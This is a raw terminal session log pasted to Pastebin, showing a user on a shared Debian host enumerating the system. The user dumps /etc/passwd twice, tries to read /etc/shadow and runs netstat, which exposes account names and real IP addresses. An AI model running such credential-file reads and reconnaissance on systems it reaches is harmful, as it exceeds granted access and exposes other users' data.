Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Script started on Wed 09 Jan 2013 09:44:12 PM EST
- [H[2JThis is the Z Shell configuration function for new users,
- zsh-newuser-install.
- You are seeing this message because you have no zsh startup files
- (the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
- ~). This function can help you with a few settings that should
- make your use of the shell easier.
- You can:
- (q) Quit and do nothing. The function will be run again next time.
- (0) Exit, creating the file ~/.zshrc containing just a comment.
- That will prevent this function being run again.
- (1) Continue to the main menu.
- (2) Populate your ~/.zshrc with the configuration recommended
- by the system administrator and exit (you will need to edit
- the file by hand, if so desired).
- --- Type one of the keys in parentheses ---
- Aborting.
- The function will be run again next time. To prevent this, execute:
- touch ~/.zshrc
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kpps aux | grep ssh
- zsh: permission denied: ps
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls > hello
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- hello
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Krrm hello
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Klls -la
- total 68
- drwxr-xr-x 2 mmaton mmaton 4096 Jan 9 21:44 .
- drwxr-xr-x 36 root root 4096 Jan 9 21:20 ..
- -rw------- 1 mmaton mmaton 16 Jan 9 21:42 .bash_history
- -rw-r--r-- 1 mmaton mmaton 220 Jan 9 21:20 .bash_logout
- -rw-r--r-- 1 mmaton mmaton 3544 Jan 9 21:43 .bashrc
- -rw-r--r-- 1 mmaton mmaton 675 Jan 9 21:20 .profile
- -rw------- 1 mmaton mmaton 33960 Jan 9 21:44 .zcompdump
- -rw------- 1 mmaton mmaton 5 Jan 9 21:44 .zsh_history
- -rw------- 1 mmaton mmaton 1295 Jan 9 21:44 .zshrc
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat .bash_history[1m [0m[0m
- id
- exit
- id
- exit
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kcat .bash_history
- id
- exit
- id
- exit
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kcat .bash_history
- id
- exit
- id
- exit
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kcat .bash_history
- id
- exit
- id
- exit
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kcat .bash_history
- id
- exit
- id
- exit
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kuuname 0a
- uname: extra operand `0a'
- Try `uname --help' for more information.
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kuuname -a
- Linux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat /etc.p /passwd
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/bin/sh
- bin:x:2:2:bin:/bin:/bin/sh
- sys:x:3:3:sys:/dev:/bin/sh
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/bin/sh
- man:x:6:12:man:/var/cache/man:/bin/sh
- lp:x:7:7:lp:/var/spool/lpd:/bin/sh
- mail:x:8:8:mail:/var/mail:/bin/sh
- news:x:9:9:news:/var/spool/news:/bin/sh
- uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
- proxy:x:13:13:proxy:/bin:/bin/sh
- www-data:x:33:33:www-data:/var/www:/bin/sh
- backup:x:34:34:backup:/var/backups:/bin/sh
- list:x:38:38:Mailing List Manager:/var/list:/bin/sh
- irc:x:39:39:ircd:/var/run/ircd:/bin/sh
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
- nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
- libuuid:x:100:101::/var/lib/libuuid:/bin/sh
- Debian-exim:x:101:103::/var/spool/exim4:/bin/false
- statd:x:102:65534::/var/lib/nfs:/bin/false
- sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
- ryan:x:1000:1000:ryan,,,:/home/ryan:/bin/bash
- starfall:x:1001:1001:,,,:/home/starfall:/bin/bash
- StarZ:x:1002:1002:,,,:/home/StarZ:/bin/bash
- sevex:x:1003:1003:,,,:/home/sevex:/bin/bash
- puli1337:x:1004:1004:,,,:/home/puli1337:/bin/bash
- ielement:x:1005:1005:,,,:/home/ielement:/bin/bash
- venuism:x:1007:1007:,,,:/home/venuism:/bin/bash
- robby:x:1008:1008:,,,:/home/robby:/bin/bash
- renyan:x:1009:1009:,,,:/home/renyan:/bin/bash
- phizo:x:1010:1010:,,,:/home/phizo:/bin/bash
- ajvpot:x:1011:1011:,,,:/home/ajvpot:/bin/bash
- dwaan:x:1012:1012:,,,:/home/dwaan:/bin/bash
- kate:x:1013:1013:,,,:/home/kate:/bin/bash
- goku:x:1014:1014:,,,:/home/goku:/bin/bash
- affine:x:1015:1015:,,,:/home/affine:/bin/bash
- debian-tor:x:104:107::/var/lib/tor:/bin/false
- notroot:x:1016:1016:,,,:/home/notroot:/bin/bash
- shiro:x:1017:1017:,,,:/home/shiro:/bin/bash
- pseudomorphine:x:1018:1018:,,,:/home/pseudomorphine:/bin/bash
- vpn_test:x:1019:100::/:/bin/false
- vpn_phizo:x:1020:100::/:/bin/false
- vpn_ryan:x:1021:100::/:/bin/false
- vpn_Rozyn:x:1022:100::/:/bin/false
- hr:x:1023:1019:,,,:/home/hr:/bin/bash
- agentj:x:1024:1020:,,,:/home/agentj:/bin/bash
- vpn_snoods:x:1025:100::/:/bin/false
- vpn_mahdy:x:1026:100::/:/bin/false
- vpn_impuhlsive:x:1027:100::/:/bin/false
- sirenfal:x:1028:1021:,,,:/home/sirenfal:/bin/bash
- vpn_sirenfal:x:1029:100::/:/bin/false
- vpn_shiro:x:1030:100::/:/bin/false
- vpn_gravy:x:1031:100::/:/bin/false
- rcv:x:1032:1022:,,,:/home/rcv:/bin/bash
- rz:x:1033:1023:,,,:/home/rz:/bin/bash
- vpn_tradezomg:x:1034:100::/:/bin/false
- gurhush:x:1035:1024:,,,:/home/gurhush:/bin/bash
- valcorb:x:1036:1025:,,,:/home/valcorb:/bin/bash
- messagebus:x:105:110::/var/run/dbus:/bin/false
- colord:x:106:111:colord colour management daemon,,,:/var/lib/colord:/bin/false
- saned:x:107:112::/home/saned:/bin/false
- mlt:x:1006:1006:,,,:/home/mlt:/bin/bash
- bitlbee:x:108:113::/var/lib/bitlbee/:/bin/false
- icecast2:x:109:114::/usr/share/icecast2:/bin/false
- asdafs:x:1037:1026:,,,:/home/asdafs:/bin/bash
- vpn_chowder:x:1038:100::/:/bin/false
- vpn_daring:x:1039:100::/:/bin/false
- vpn_hawaii:x:1040:100::/:/bin/false
- tmp:x:1041:1027:,,,:/home/tmp:/bin/bash
- mountain:x:1042:1028:,,,:/home/mountain:/bin/bash
- r3m:x:1043:1029:,,,:/home/r3m:/bin/bash
- n0b0dy:x:1044:1030:,,,:/home/n0b0dy:/bin/bash
- ejabberd:x:110:115::/var/lib/ejabberd:/bin/sh
- prosody:x:111:117:Prosody XMPP Server,,,:/var/lib/prosody:/bin/false
- apple:x:1045:1031:,,,:/home/apple:/bin/false
- vpn_generic:x:1046:100::/:/bin/false
- mmaton:x:1047:1032:,,,:/home/mmaton:/bin/bash
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [K [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% [0m[27m[24m[Jmagnesium% ppythin on -v
- # installing zipimport hook
- import zipimport # builtin
- # installed zipimport hook
- # /usr/lib/python2.7/site.pyc matches /usr/lib/python2.7/site.py
- import site # precompiled from /usr/lib/python2.7/site.pyc
- # /usr/lib/python2.7/os.pyc matches /usr/lib/python2.7/os.py
- import os # precompiled from /usr/lib/python2.7/os.pyc
- import errno # builtin
- import posix # builtin
- # /usr/lib/python2.7/posixpath.pyc matches /usr/lib/python2.7/posixpath.py
- import posixpath # precompiled from /usr/lib/python2.7/posixpath.pyc
- # /usr/lib/python2.7/stat.pyc matches /usr/lib/python2.7/stat.py
- import stat # precompiled from /usr/lib/python2.7/stat.pyc
- # /usr/lib/python2.7/genericpath.pyc matches /usr/lib/python2.7/genericpath.py
- import genericpath # precompiled from /usr/lib/python2.7/genericpath.pyc
- # /usr/lib/python2.7/warnings.pyc matches /usr/lib/python2.7/warnings.py
- import warnings # precompiled from /usr/lib/python2.7/warnings.pyc
- # /usr/lib/python2.7/linecache.pyc matches /usr/lib/python2.7/linecache.py
- import linecache # precompiled from /usr/lib/python2.7/linecache.pyc
- # /usr/lib/python2.7/types.pyc matches /usr/lib/python2.7/types.py
- import types # precompiled from /usr/lib/python2.7/types.pyc
- # /usr/lib/python2.7/UserDict.pyc matches /usr/lib/python2.7/UserDict.py
- import UserDict # precompiled from /usr/lib/python2.7/UserDict.pyc
- # /usr/lib/python2.7/_abcoll.pyc matches /usr/lib/python2.7/_abcoll.py
- import _abcoll # precompiled from /usr/lib/python2.7/_abcoll.pyc
- # /usr/lib/python2.7/abc.pyc matches /usr/lib/python2.7/abc.py
- import abc # precompiled from /usr/lib/python2.7/abc.pyc
- # /usr/lib/python2.7/_weakrefset.pyc matches /usr/lib/python2.7/_weakrefset.py
- import _weakrefset # precompiled from /usr/lib/python2.7/_weakrefset.pyc
- import _weakref # builtin
- # /usr/lib/python2.7/copy_reg.pyc matches /usr/lib/python2.7/copy_reg.py
- import copy_reg # precompiled from /usr/lib/python2.7/copy_reg.pyc
- # /usr/lib/python2.7/traceback.pyc matches /usr/lib/python2.7/traceback.py
- import traceback # precompiled from /usr/lib/python2.7/traceback.pyc
- # /usr/lib/python2.7/sysconfig.pyc matches /usr/lib/python2.7/sysconfig.py
- import sysconfig # precompiled from /usr/lib/python2.7/sysconfig.pyc
- # /usr/lib/python2.7/re.pyc matches /usr/lib/python2.7/re.py
- import re # precompiled from /usr/lib/python2.7/re.pyc
- # /usr/lib/python2.7/sre_compile.pyc matches /usr/lib/python2.7/sre_compile.py
- import sre_compile # precompiled from /usr/lib/python2.7/sre_compile.pyc
- import _sre # builtin
- # /usr/lib/python2.7/sre_parse.pyc matches /usr/lib/python2.7/sre_parse.py
- import sre_parse # precompiled from /usr/lib/python2.7/sre_parse.pyc
- # /usr/lib/python2.7/sre_constants.pyc matches /usr/lib/python2.7/sre_constants.py
- import sre_constants # precompiled from /usr/lib/python2.7/sre_constants.pyc
- # /usr/lib/python2.7/_sysconfigdata.pyc matches /usr/lib/python2.7/_sysconfigdata.py
- import _sysconfigdata # precompiled from /usr/lib/python2.7/_sysconfigdata.pyc
- # /usr/lib/python2.7/_sysconfigdata_nd.pyc matches /usr/lib/python2.7/_sysconfigdata_nd.py
- import _sysconfigdata_nd # precompiled from /usr/lib/python2.7/_sysconfigdata_nd.pyc
- # /usr/lib/python2.7/sitecustomize.pyc matches /usr/lib/python2.7/sitecustomize.py
- import sitecustomize # precompiled from /usr/lib/python2.7/sitecustomize.pyc
- import encodings # directory /usr/lib/python2.7/encodings
- # /usr/lib/python2.7/encodings/__init__.pyc matches /usr/lib/python2.7/encodings/__init__.py
- import encodings # precompiled from /usr/lib/python2.7/encodings/__init__.pyc
- # /usr/lib/python2.7/codecs.pyc matches /usr/lib/python2.7/codecs.py
- import codecs # precompiled from /usr/lib/python2.7/codecs.pyc
- import _codecs # builtin
- # /usr/lib/python2.7/encodings/aliases.pyc matches /usr/lib/python2.7/encodings/aliases.py
- import encodings.aliases # precompiled from /usr/lib/python2.7/encodings/aliases.pyc
- # /usr/lib/python2.7/encodings/utf_8.pyc matches /usr/lib/python2.7/encodings/utf_8.py
- import encodings.utf_8 # precompiled from /usr/lib/python2.7/encodings/utf_8.pyc
- Python 2.7.3 (default, Sep 10 2012, 00:09:03)
- [GCC 4.7.1] on linux2
- Type "help", "copyright", "credits" or "license" for more information.
- dlopen("/usr/lib/python2.7/lib-dynload/readline.so", 2);
- import readline # dynamically loaded from /usr/lib/python2.7/lib-dynload/readline.so
- >>>
- >>>
- KeyboardInterrupt
- >>>
- KeyboardInterrupt
- >>>
- KeyboardInterrupt
- >>> exi[K[K[Kexit()
- # clear __builtin__._
- # clear sys.path
- # clear sys.argv
- # clear sys.ps1
- # clear sys.ps2
- # clear sys.exitfunc
- # clear sys.exc_type
- # clear sys.exc_value
- # clear sys.exc_traceback
- # clear sys.last_type
- # clear sys.last_value
- # clear sys.last_traceback
- # clear sys.path_hooks
- # clear sys.path_importer_cache
- # clear sys.meta_path
- # clear sys.flags
- # clear sys.float_info
- # restore sys.stdin
- # restore sys.stdout
- # restore sys.stderr
- # cleanup __main__
- # cleanup[1] encodings
- # cleanup[1] site
- # cleanup[1] sysconfig
- # cleanup[1] abc
- # cleanup[1] _weakrefset
- # cleanup[1] sre_constants
- # cleanup[1] re
- # cleanup[1] _codecs
- # cleanup[1] _warnings
- # cleanup[1] zipimport
- # cleanup[1] _sysconfigdata
- # cleanup[1] encodings.utf_8
- # cleanup[1] codecs
- # cleanup[1] readline
- # cleanup[1] _sysconfigdata_nd
- # cleanup[1] sitecustomize
- # cleanup[1] signal
- # cleanup[1] traceback
- # cleanup[1] posix
- # cleanup[1] encodings.aliases
- # cleanup[1] exceptions
- # cleanup[1] _weakref
- # cleanup[1] sre_compile
- # cleanup[1] _sre
- # cleanup[1] sre_parse
- # cleanup[2] copy_reg
- # cleanup[2] posixpath
- # cleanup[2] errno
- # cleanup[2] _abcoll
- # cleanup[2] types
- # cleanup[2] genericpath
- # cleanup[2] stat
- # cleanup[2] warnings
- # cleanup[2] UserDict
- # cleanup[2] os.path
- # cleanup[2] linecache
- # cleanup[2] os
- # cleanup sys
- # cleanup __builtin__
- # cleanup ints: 18 unfreed ints
- # cleanup floats
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccat .e /etc/a passwd
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/bin/sh
- bin:x:2:2:bin:/bin:/bin/sh
- sys:x:3:3:sys:/dev:/bin/sh
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/bin/sh
- man:x:6:12:man:/var/cache/man:/bin/sh
- lp:x:7:7:lp:/var/spool/lpd:/bin/sh
- mail:x:8:8:mail:/var/mail:/bin/sh
- news:x:9:9:news:/var/spool/news:/bin/sh
- uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
- proxy:x:13:13:proxy:/bin:/bin/sh
- www-data:x:33:33:www-data:/var/www:/bin/sh
- backup:x:34:34:backup:/var/backups:/bin/sh
- list:x:38:38:Mailing List Manager:/var/list:/bin/sh
- irc:x:39:39:ircd:/var/run/ircd:/bin/sh
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
- nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
- libuuid:x:100:101::/var/lib/libuuid:/bin/sh
- Debian-exim:x:101:103::/var/spool/exim4:/bin/false
- statd:x:102:65534::/var/lib/nfs:/bin/false
- sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
- ryan:x:1000:1000:ryan,,,:/home/ryan:/bin/bash
- starfall:x:1001:1001:,,,:/home/starfall:/bin/bash
- StarZ:x:1002:1002:,,,:/home/StarZ:/bin/bash
- sevex:x:1003:1003:,,,:/home/sevex:/bin/bash
- puli1337:x:1004:1004:,,,:/home/puli1337:/bin/bash
- ielement:x:1005:1005:,,,:/home/ielement:/bin/bash
- venuism:x:1007:1007:,,,:/home/venuism:/bin/bash
- robby:x:1008:1008:,,,:/home/robby:/bin/bash
- renyan:x:1009:1009:,,,:/home/renyan:/bin/bash
- phizo:x:1010:1010:,,,:/home/phizo:/bin/bash
- ajvpot:x:1011:1011:,,,:/home/ajvpot:/bin/bash
- dwaan:x:1012:1012:,,,:/home/dwaan:/bin/bash
- kate:x:1013:1013:,,,:/home/kate:/bin/bash
- goku:x:1014:1014:,,,:/home/goku:/bin/bash
- affine:x:1015:1015:,,,:/home/affine:/bin/bash
- debian-tor:x:104:107::/var/lib/tor:/bin/false
- notroot:x:1016:1016:,,,:/home/notroot:/bin/bash
- shiro:x:1017:1017:,,,:/home/shiro:/bin/bash
- pseudomorphine:x:1018:1018:,,,:/home/pseudomorphine:/bin/bash
- vpn_test:x:1019:100::/:/bin/false
- vpn_phizo:x:1020:100::/:/bin/false
- vpn_ryan:x:1021:100::/:/bin/false
- vpn_Rozyn:x:1022:100::/:/bin/false
- hr:x:1023:1019:,,,:/home/hr:/bin/bash
- agentj:x:1024:1020:,,,:/home/agentj:/bin/bash
- vpn_snoods:x:1025:100::/:/bin/false
- vpn_mahdy:x:1026:100::/:/bin/false
- vpn_impuhlsive:x:1027:100::/:/bin/false
- sirenfal:x:1028:1021:,,,:/home/sirenfal:/bin/bash
- vpn_sirenfal:x:1029:100::/:/bin/false
- vpn_shiro:x:1030:100::/:/bin/false
- vpn_gravy:x:1031:100::/:/bin/false
- rcv:x:1032:1022:,,,:/home/rcv:/bin/bash
- rz:x:1033:1023:,,,:/home/rz:/bin/bash
- vpn_tradezomg:x:1034:100::/:/bin/false
- gurhush:x:1035:1024:,,,:/home/gurhush:/bin/bash
- valcorb:x:1036:1025:,,,:/home/valcorb:/bin/bash
- messagebus:x:105:110::/var/run/dbus:/bin/false
- colord:x:106:111:colord colour management daemon,,,:/var/lib/colord:/bin/false
- saned:x:107:112::/home/saned:/bin/false
- mlt:x:1006:1006:,,,:/home/mlt:/bin/bash
- bitlbee:x:108:113::/var/lib/bitlbee/:/bin/false
- icecast2:x:109:114::/usr/share/icecast2:/bin/false
- asdafs:x:1037:1026:,,,:/home/asdafs:/bin/bash
- vpn_chowder:x:1038:100::/:/bin/false
- vpn_daring:x:1039:100::/:/bin/false
- vpn_hawaii:x:1040:100::/:/bin/false
- tmp:x:1041:1027:,,,:/home/tmp:/bin/bash
- mountain:x:1042:1028:,,,:/home/mountain:/bin/bash
- r3m:x:1043:1029:,,,:/home/r3m:/bin/bash
- n0b0dy:x:1044:1030:,,,:/home/n0b0dy:/bin/bash
- ejabberd:x:110:115::/var/lib/ejabberd:/bin/sh
- prosody:x:111:117:Prosody XMPP Server,,,:/var/lib/prosody:/bin/false
- apple:x:1045:1031:,,,:/home/apple:/bin/false
- vpn_generic:x:1046:100::/:/bin/false
- mmaton:x:1047:1032:,,,:/home/mmaton:/bin/bash
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kcat /etc/passwd shadow
- cat: /etc/shadow: Permission denied
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kpps
- zsh: permission denied: ps
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kllocate
- locate: no pattern to search for specified
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Kccd /usr[1m/[0m[0m/
- [Jbin/ games/ include/ lib/ local/ sbin/ share/ src/[A[0m[27m[24m [11Ccd /usr/[Kbin[1m/[0mgam[0mes[1m/[0minclu[0mde[1m/[0m[8Dlib[1m/[0m [0m oc[0mal[1m/[0msbin[1m/[0m[0m har[0me[1m/[0mrc[1m/[0m [0m bin[1C[0m c uuname -a
- [JLinux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
- [1m[7m%[27m[1m[0m [0m[27m[24m[Jmagnesium% [Knnetstat -an
- Active Internet connections (servers and established)
- Proto Recv-Q Send-Q Local Address Foreign Address State
- tcp 0 0 0.0.0.0:5269 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:8089 0.0.0.0:* LISTEN
- tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
- tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
- tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN
- tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:8734 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN
- tcp 0 0 127.0.0.1:5347 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:5222 0.0.0.0:* LISTEN
- tcp 0 0 0.0.0.0:32331 0.0.0.0:* LISTEN
- tcp 0 0 199.229.249.189:36309 91.121.0.144:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:22 50.16.13.14:57930 ESTABLISHED
- tcp 0 0 199.229.249.189:22 72.179.167.3:14126 ESTABLISHED
- tcp 0 0 199.229.249.189:22 88.114.211.190:47114 ESTABLISHED
- tcp 0 0 199.229.249.189:52842 67.43.228.244:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:34145 208.99.88.245:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:54802 176.31.103.103:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:22 72.179.167.3:7536 ESTABLISHED
- tcp 0 0 199.229.249.189:22 50.16.13.14:54887 ESTABLISHED
- tcp 0 0 199.229.249.189:34700 83.169.14.133:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:60689 93.190.68.48:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:22 88.114.211.190:48644 ESTABLISHED
- tcp 0 0 199.229.249.189:54497 69.42.211.111:6667 ESTABLISHED
- tcp 0 0 199.229.249.190:22 199.254.238.146:52891 ESTABLISHED
- tcp 0 0 199.229.249.189:22 72.179.167.3:43390 ESTABLISHED
- tcp 0 0 199.229.249.189:22 50.16.13.14:52065 ESTABLISHED
- tcp 0 0 199.229.249.189:22 88.114.211.190:22866 ESTABLISHED
- tcp 0 4944 199.229.249.189:22 217.39.11.9:50764 ESTABLISHED
- tcp 0 0 199.229.249.189:48754 176.31.103.103:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:48752 176.31.103.103:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:58540 91.121.0.144:6667 ESTABLISHED
- tcp 0 0 199.229.249.190:22 199.254.238.146:56684 ESTABLISHED
- tcp 0 0 199.229.249.189:53070 67.43.228.182:6667 ESTABLISHED
- tcp 0 0 199.229.249.189:34097 109.236.88.191:33300 ESTABLISHED
- tcp6 0 0 :::22 :::* LISTEN
- tcp6 0 0 ::1:25 :::* LISTEN
- tcp6 0 0 ::1:6010 :::* LISTEN
- tcp6 0 0 ::1:6011 :::* LISTEN
- tcp6 0 0 :::443 :::* LISTEN
- tcp6 0 0 :::25565 :::* LISTEN
- tcp6 0 0 :::6666 :::* LISTEN
- udp 0 0 199.229.249.189:53 0.0.0.0:*
- udp 0 0 199.229.249.189:1194 0.0.0.0:*
- udp 0 0 0.0.0.0:1900 0.0.0.0:*
- Active UNIX domain sockets (servers and established)
- Proto RefCnt Flags Type State I-Node Path
- unix 2 [ ACC ] SEQPACKET LISTENING 3356 /run/udev/control
- unix 2 [ ACC ] STREAM LISTENING 5936 /var/run/dbus/system_bus_socket
- unix 2 [ ACC ] STREAM LISTENING 6284 /var/run/tor/control
- unix 27 [ ] DGRAM 5832 /dev/log
- unix 2 [ ACC ] STREAM LISTENING 6347 /var/run/minissdpd.sock
- unix 2 [ ACC ] STREAM LISTENING 5859 /var/run/acpid.socket
- unix 3 [ ] STREAM CONNECTED 4136303
- unix 3 [ ] STREAM CONNECTED 4136302
- unix 3 [ ] STREAM CONNECTED 4136227 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 4136226
- unix 2 [ ] DGRAM 4136225
- unix 2 [ ] DGRAM 4131415
- unix 2 [ ] DGRAM 4131412
- unix 2 [ ] STREAM CONNECTED 4047226
- unix 2 [ ] STREAM CONNECTED 4047224
- unix 2 [ ] STREAM CONNECTED 4047149
- unix 2 [ ] STREAM CONNECTED 4047147
- unix 3 [ ] STREAM CONNECTED 4029612
- unix 3 [ ] STREAM CONNECTED 4029611
- unix 3 [ ] STREAM CONNECTED 4029536 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 4029535
- unix 2 [ ] DGRAM 4029534
- unix 3 [ ] STREAM CONNECTED 4029497
- unix 3 [ ] STREAM CONNECTED 4029496
- unix 3 [ ] STREAM CONNECTED 4029421 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 4029420
- unix 2 [ ] DGRAM 4029419
- unix 3 [ ] STREAM CONNECTED 4015009
- unix 3 [ ] STREAM CONNECTED 4015008
- unix 3 [ ] STREAM CONNECTED 4014933 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 4014932
- unix 2 [ ] DGRAM 4014931
- unix 3 [ ] STREAM CONNECTED 3908087
- unix 3 [ ] STREAM CONNECTED 3908086
- unix 3 [ ] STREAM CONNECTED 3908011 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3908010
- unix 2 [ ] DGRAM 3908009
- unix 3 [ ] STREAM CONNECTED 3900577
- unix 3 [ ] STREAM CONNECTED 3900576
- unix 3 [ ] STREAM CONNECTED 3900501 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3900500
- unix 2 [ ] DGRAM 3900499
- unix 3 [ ] STREAM CONNECTED 3834028
- unix 3 [ ] STREAM CONNECTED 3834027
- unix 3 [ ] STREAM CONNECTED 3833952 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3833951
- unix 2 [ ] DGRAM 3833950
- unix 2 [ ] DGRAM 3832835
- unix 2 [ ] DGRAM 3832832
- unix 3 [ ] STREAM CONNECTED 3832751
- unix 3 [ ] STREAM CONNECTED 3832750
- unix 3 [ ] STREAM CONNECTED 3832675 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3832674
- unix 2 [ ] DGRAM 3832673
- unix 3 [ ] STREAM CONNECTED 3726928 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3726927
- unix 2 [ ] DGRAM 3726924
- unix 2 [ ] DGRAM 3726911
- unix 2 [ ] DGRAM 3726908
- unix 3 [ ] STREAM CONNECTED 3726822
- unix 3 [ ] STREAM CONNECTED 3726821
- unix 3 [ ] STREAM CONNECTED 3726746 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3726745
- unix 2 [ ] DGRAM 3726744
- unix 3 [ ] STREAM CONNECTED 3642241
- unix 3 [ ] STREAM CONNECTED 3642240
- unix 3 [ ] STREAM CONNECTED 3642165 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 3642164
- unix 2 [ ] DGRAM 3642163
- unix 3 [ ] STREAM CONNECTED 3496977
- unix 3 [ ] STREAM CONNECTED 3496976
- unix 3 [ ] STREAM CONNECTED 3496975
- unix 3 [ ] STREAM CONNECTED 3496974
- unix 3 [ ] STREAM CONNECTED 1377745
- unix 3 [ ] STREAM CONNECTED 1377744
- unix 3 [ ] STREAM CONNECTED 1377669 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 1377668
- unix 2 [ ] DGRAM 1377667
- unix 3 [ ] STREAM CONNECTED 1327925 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 1327924
- unix 2 [ ] DGRAM 1327921
- unix 2 [ ] DGRAM 1327908
- unix 2 [ ] DGRAM 1327905
- unix 3 [ ] STREAM CONNECTED 1327822
- unix 3 [ ] STREAM CONNECTED 1327821
- unix 3 [ ] STREAM CONNECTED 1327746 /var/run/dbus/system_bus_socket
- unix 3 [ ] STREAM CONNECTED 1327745
- unix 2 [ ] DGRAM 1327744
- unix 3 [ ] DGRAM 1315583
- unix 3 [ ] DGRAM 1315582
- unix 2 [ ] DGRAM 1315579
- unix 2 [ ] STREAM CONNECTED 684349
- unix 2 [ ] STREAM CONNECTED 684242
